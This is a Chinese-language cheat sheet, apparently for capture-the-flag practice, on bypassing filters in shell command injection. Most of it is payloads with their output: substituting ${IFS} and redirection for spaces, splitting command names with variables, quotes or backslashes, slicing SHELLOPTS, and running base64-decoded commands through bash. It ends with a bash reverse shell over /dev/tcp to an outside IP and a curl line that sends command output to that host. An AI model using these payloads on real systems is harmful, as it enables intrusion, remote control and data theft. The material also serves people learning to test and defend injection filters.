命令执行的绕过技巧

绕过空格过滤

1.${IFS}

变量$IFS是shell用来进行自动替换的,默认是 space, tab, newline的一个,所以我们可以调用他来充当空格。

echo $IFS
echo "$IFS" |od -b    //直接输出没东西,转换成二进制就可以看到输出(引号引起来说明这个变量不用IFS替换,使用其原始值)
root@test:~# echo "$IFS"|od -b
0000000 040 011 012 012        //空格 tab 换行
0000004

payload:

root@test:/home/test# cat${IFS}flag
flagaaaaaaaaaa
root@test:/home/test# cat$IFS$1flag    //如果过滤了{}
flagaaaaaaaaaa

2.重定向符

文件描述符是与已打开文件或设备相关联的整数,它们保持和已打开文件或设备的关联。最为常见的文件描述符是stdin、stdout和stderr,它们分别是0、1、2,是系统保留的文件描述符,分别对应标准输入、标准输出和标准错误。对于stdin,stdout和stderr重定向一般采用的操作符主要有<、>和>>,在没有指定的具体文件操作符的情况下,缺省是这样的:command < file.txt相当于command 0< file.txt,也就是说默认是将文件重定向到文件描述符0.

Payload:

root@test:/home/test# cat<flag
flagaaaaaaaaaa

绕过黑名单

1.拼接

Payload:

root@test:/home/test# a=c;b=at;c=flag;$a$b $c
flagaaaaaaaaaa

2.利用系统环境变量

root@test:/home/test# echo ${SHELLOPTS}
braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor

payload:

root@test:/home/test# ${SHELLOPTS:3:1}${SHELLOPTS:2:1}${SHELLOPTS:29:1} flag
flagaaaaaaaaaa

3.base64

Payload:

root@test:/home/test# `echo "Y2F0IGZsYWc="|base64 -d`    //反引号
flagaaaaaaaaaa

or

root@test:/home/test# echo "Y2F0IGZsYWc="|base64 -d|bash    // |连接
flagaaaaaaaaaa

4.单/双引号

payload:

root@test:/home/test# ca""t fl""ag
flagaaaaaaaaaa
root@test:/home/test# ca""t fl''ag
flagaaaaaaaaaa
root@test:/home/test# ca''t fl''ag
flagaaaaaaaaaa

5.反斜杠\

Payload:

root@test:/home/test# ca\t fla\g
flagaaaaaaaaaa

无回显的命令执行

1.bash反弹shell

|bash -i >& /dev/tcp/192.168.211.212/8080 0>&1

2.curl

|curl 192.168.211.212:8080/?a=`ls |head -n 3|tail -n 1`